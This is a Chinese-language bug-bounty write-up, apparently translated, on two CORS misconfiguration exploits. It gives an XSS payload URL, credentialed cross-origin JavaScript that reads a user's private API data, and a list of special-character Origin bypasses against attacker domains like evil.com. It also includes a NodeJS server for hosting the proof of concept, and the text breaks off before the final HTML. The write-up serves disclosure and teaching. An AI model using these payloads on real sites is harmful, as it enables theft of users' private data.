本文中涉及到的相關漏洞已報送廠商並得到修復,本文僅限技術研究與討論,嚴禁用於非法用途,否則產生的一切後果自行承擔。
本文我將為大家介紹兩種CORS錯誤配置漏洞利用的情況:第一種情況是基於XSS,第二種情況是基於高階的CORS利用技術。
注意:
在開始閱讀本文之前,你需要基本瞭解CORS是什麼以及如何利用其錯誤配置漏洞。這裡有一些很很不錯的文章你可以參閱學習:
Portswigger’s Post
Geekboy’s Post
第一種情況
易受攻擊端點
在HTTP請求中使用Origin標頭後,我檢查了伺服器響應以確定它們是否進行了域白名單檢查,最終我發現應用程式只是將子域列入了白名單,甚至是那些並不存在的子域。
出於隱私保護和負責任的披露政策,這裡我假設Web應用程式託管在:www。redacted。com
這個CORS配置錯誤看起來如下:
HTTP 請求
GET /api/return HTTP/1。1
Host: www。redacted。com
Origin: evil。redacted。com
Connection: close
HTTP 響應
HTTP/1。1 200 OK
Access-control-allow-credentials: true
Access-control-allow-origin: evil。redacted。com
此API端點返回使用者的私人資訊,如全名,電子郵件地址等。
想要濫用這種錯誤配置並執行攻擊,如洩露使用者的私人資訊,我們需要宣告一個廢棄的子域(子域名接管),或在其中一個現有子域中找到XSS。
範圍之外的思考
想找到一個廢棄的子域並不容易,所以我決定還是在一個現有的子域中找到XSS。但是,該私有程式的範圍僅限於:www。redacted。com,這意味著在其他子域中查詢XSS肯定不在其範圍內,但是將該XSS與CORS錯誤配置連結在某種程度上來說應該算是在範圍之內的。對吧?
並且由於其他子域不在範圍內,因此其他駭客也就不會測試它們,這樣一來我在這些子域上找到XSS的機率就非常大了!
如我所料,在不到一小時的時間裡,我就在banques。redacted。com上發現了一個XSS,使用的payload如下:
https://banques。redacted。com/choice-quiz?form_banque=“>&form_cartes=73&iframestat=1
現在,是時候建立一個PoC,並提交報告了!
利用再現:
要利用此CORS配置錯誤漏洞,我們只需使用以下程式碼替換payload alert(document。domain):
function cors() {
var xhttp = new XMLHttpRequest();
xhttp。onreadystatechange = function() {
if (this。status == 200) {
alert(this。responseText);
document。getElementById(”demo“)。innerHTML = this。responseText;
}
};
xhttp。open(”GET“, ”https://www。redacted。com/api/return“, true);
xhttp。withCredentials = true;
xhttp。send();
}
cors();
就像這樣:
https://banques。redacted。com/choice-quiz?form_banque=”>&form_cartes=73&iframestat=1
現在,我們擁有了一個非常好用的PoC:
獎勵
現在,如果我告訴你,你仍然可以濫用該問題而無需在任何現有子域或聲稱已廢棄的子域中找到XSS呢?
這正是我們在第二個案例中將要討論的內容。
第二種情況
易受攻擊端點
這一次,我的任務物件是Ubnt程式,尤其是託管在該網址的應用程式:https://protect。ubnt。com/
按照相同的過程,我確定了CORS配置錯誤,類似於前一種情況,但這次應用程式是從另一個位置獲取使用者的私人資訊,一個API託管在:https://client。amplifi。com/api/user/
此應用程式還將任意子域列入了白名單,甚至是不存在的子域。
想要濫用這種CORS錯誤配置,你需要先宣告一個廢棄子域,或在一個現有的子域中找到XSS。
因為這是一個公開專案,範圍較廣(所有子域都在範圍內); 因此,找到XSS的可能性也就小了很多,甚至也沒有提到子域名接管漏洞。
那麼,是不是我們就沒辦法了呢?
高階 CORS 利用技術
嗯,事實證明,還有另一種方式,但需要滿足一定的條件才行。
這裡可以找到一個有趣的研究。顯示可以繞過一些使用域名內特殊字元錯誤實現的控制元件。
該研究基於以下事實:瀏覽器在發出請求之前並不總是驗證域名。因此,如果使用某些特殊字元,瀏覽器當前可以提交請求,而無需事先驗證域名是否有效和存在。
示例
讓我們嘗試開啟一個包含特殊字元的URL,如:http://asdf`+=。withgoogle。com。大多數瀏覽器會在發出任何請求之前驗證域名。
域名withgoogle。com用作演示,因為它具有萬用字元DNS記錄
Chrome:
Firefox:
Safari:
正如你所看到的,Safari是一個例外,它實際上會發送請求並嘗試載入頁面,這與其他瀏覽器不同。
我們可以使用各種不同的字元,甚至是不可列印的字元:
,&‘“;!$^*()+=`~-_=|{}%
// non printable chars
%01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f
此外,Davide Danelon還完成了另一項研究可以在這裡找到,表明這些特殊字元的其他子集也可用於其他瀏覽器。
知道了這些後,下面就是利用環節了。讓我們回到易受攻擊的Web應用程式:https://client。amplifi。com/
新方法
在這種情況下,Web應用程式還接受以下Origin *。ubnt。com!。evil。com
不只是字元“!”,還包括以下字元:
*。ubnt。com!。evil。com
*。ubnt。com”。evil。com
*。ubnt。com$。evil。com
*。ubnt。com%0b。evil。com
*。ubnt。com%60。evil。com
*。ubnt。com&。evil。com
*。ubnt。com’。evil。com
*。ubnt。com(。evil。com
*。ubnt。com)。evil。com
*。ubnt。com*。evil。com
*。ubnt。com,。evil。com
*。ubnt。com;。evil。com
*。ubnt。com=。evil。com
*。ubnt。com^。evil。com
*。ubnt。com`。evil。com
*。ubnt。com{。evil。com
*。ubnt。com|。evil。com
*。ubnt。com}。evil。com
*。ubnt。com~。evil。com
你現在應該知道了某些瀏覽器(如Safari)接受具有特殊字元的URL,例如:https://zzzz。ubnt。com=。evil。com
因此,如果我們使用萬用字元DNS記錄設定了一個域:evil。com,允許將所有子域(*。evil。com)指向www。evil。com,它將在類似www。evil。com/cors-poc的頁面中託管一個指令碼,該頁面將向易受攻擊的端點發送一個以子域名為起始值的跨域請求。
然後,我們強制讓一個經過身份驗證的使用者開啟連結:https://zzzz。ubnt。com=。evil。com/cors-poc
從理論上講,我們可以將這個使用者的私人資訊洩露出去。
利用再現:
1。首先,設定一個帶有萬用字元DNS記錄的域,將其指向你的機器,在本例中我使用GoDaddy來託管我的域,配置如下:
2。安裝NodeJS,建立一個新目錄,然後在其中儲存以下檔案:
serve.js
var http = require(‘http’);
var url = require(‘url’);
var fs = require(‘fs’);
var port = 80
http。createServer(function(req, res) {
if (req。url == ‘/cors-poc’) {
fs。readFile(‘cors。html’, function(err, data) {
res。writeHead(200, {‘Content-Type’:‘text/html’});
res。write(data);
res。end();
});
} else {
res。writeHead(200, {‘Content-Type’:‘text/html’});
res。write(‘never gonna give you up。。。’);
res。end();
}
})。listen(port, ‘0。0。0。0’);
console。log(`Serving on port ${port}`);
3。在同一目錄中,儲存以下內容:
cors.html
<!DOCTYPE html>
cors proof-of-concept: